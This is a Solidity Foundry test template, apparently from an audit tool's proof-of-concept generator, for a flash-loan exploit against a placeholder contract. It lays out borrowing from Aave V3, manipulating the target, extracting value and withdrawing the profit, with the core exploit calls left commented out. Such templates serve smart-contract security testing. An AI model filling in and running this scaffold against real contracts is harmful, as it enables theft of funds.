// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// {{CUSTOM_IMPORTS}}

/**
 * @title {{CONTRACT_NAME}} Flash Loan Exploit PoC
 * @notice Proof of Concept for flash loan vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: {{DESCRIPTION}}
 * Severity: {{SEVERITY}}
 * Target Function: {{TARGET_FUNCTION}}
 * Generated: {{TIMESTAMP}}
 *
 * Attack Vector:
 * 1. Attacker takes flash loan from lending protocol
 * 2. Uses borrowed funds to manipulate target
 * 3. Extracts value from vulnerable contract
 * 4. Repays flash loan with profit
 */
contract {{CONTRACT_NAME}}FlashLoanTest is Test {
    // Flash loan provider interface (Aave V3)
    interface IPool {
        function flashLoanSimple(
            address receiverAddress,
            address asset,
            uint256 amount,
            bytes calldata params,
            uint16 referralCode
        ) external;
    }

    // Target contract interface
    interface IVulnerable {
        function {{TARGET_FUNCTION}}(uint256 amount) external;
        function getPrice() external view returns (uint256);
        function deposit(uint256 amount) external;
    }

    // Token interface
    interface IERC20 {
        function balanceOf(address) external view returns (uint256);
        function transfer(address, uint256) external returns (bool);
        function approve(address, uint256) external returns (bool);
    }

    // Contracts
    IVulnerable public target;
    FlashLoanAttacker public attackerContract;
    IPool public lendingPool;
    IERC20 public token;

    // Addresses
    address public attacker;

    // Flash loan parameters
    uint256 constant FLASH_LOAN_AMOUNT = 1_000_000 ether;

    function setUp() public {
        attacker = makeAddr("attacker");
        vm.deal(attacker, {{ATTACKER_BALANCE}});

        // {{FORK_CONFIG}}

        // Setup lending pool (Aave V3 mainnet)
        // lendingPool = IPool(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);

        // {{CUSTOM_SETUP}}

        // Deploy attacker contract
        vm.prank(attacker);
        attackerContract = new FlashLoanAttacker(
            address(lendingPool),
            address(target),
            address(token)
        );

        console.log("=== Setup Complete ===");
    }

    function test_exploit_flash_loan() public {
        console.log("\n=== Starting Flash Loan Attack ===");

        uint256 attackerTokensBefore = token.balanceOf(attacker);
        uint256 targetTokensBefore = token.balanceOf(address(target));

        console.log("Attacker tokens before:", attackerTokensBefore);
        console.log("Target tokens before:", targetTokensBefore);

        // Execute flash loan attack
        vm.prank(attacker);
        attackerContract.executeAttack(FLASH_LOAN_AMOUNT);

        // Withdraw profits
        vm.prank(attacker);
        attackerContract.withdrawProfits();

        uint256 attackerTokensAfter = token.balanceOf(attacker);
        uint256 targetTokensAfter = token.balanceOf(address(target));

        console.log("\n=== Attack Complete ===");
        console.log("Attacker tokens after:", attackerTokensAfter);
        console.log("Target tokens after:", targetTokensAfter);

        if (attackerTokensAfter > attackerTokensBefore) {
            console.log("PROFIT:", attackerTokensAfter - attackerTokensBefore);
        }

        // Assertions
        assertGt(attackerTokensAfter, attackerTokensBefore, "Should have profited");
    }

    function test_flash_loan_repayment() public {
        // Verify flash loan can be repaid
        vm.prank(attacker);

        // This should not revert
        attackerContract.executeAttack(FLASH_LOAN_AMOUNT);

        // If we reach here, flash loan was repaid successfully
        assertTrue(true, "Flash loan repaid");
    }
}

/**
 * @title FlashLoanAttacker
 * @notice Contract that executes flash loan attack
 */
contract FlashLoanAttacker {
    address public owner;
    address public lendingPool;
    address public target;
    address public token;

    constructor(address _pool, address _target, address _token) {
        owner = msg.sender;
        lendingPool = _pool;
        target = _target;
        token = _token;
    }

    function executeAttack(uint256 amount) external {
        require(msg.sender == owner, "Not owner");

        // Request flash loan
        bytes memory params = abi.encode(target);

        // IPool(lendingPool).flashLoanSimple(
        //     address(this),
        //     token,
        //     amount,
        //     params,
        //     0
        // );
    }

    // Aave V3 flash loan callback
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        require(msg.sender == lendingPool, "Not lending pool");
        require(initiator == address(this), "Not initiator");

        console.log("Flash loan received:", amount);
        console.log("Premium:", premium);

        // ===== EXPLOIT LOGIC HERE =====

        // 1. Approve target to spend tokens
        // IERC20(asset).approve(target, amount);

        // 2. Execute exploit on target
        // IVulnerable(target).{{TARGET_FUNCTION}}(amount);

        // 3. Extract value

        // ===== END EXPLOIT LOGIC =====

        // Approve repayment
        uint256 amountOwed = amount + premium;
        // IERC20(asset).approve(lendingPool, amountOwed);

        console.log("Repaying:", amountOwed);

        return true;
    }

    function withdrawProfits() external {
        require(msg.sender == owner, "Not owner");

        uint256 balance = IERC20(token).balanceOf(address(this));
        if (balance > 0) {
            IERC20(token).transfer(owner, balance);
        }

        // Also withdraw any ETH
        if (address(this).balance > 0) {
            payable(owner).transfer(address(this).balance);
        }
    }

    receive() external payable {}
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function approve(address, uint256) external returns (bool);
}
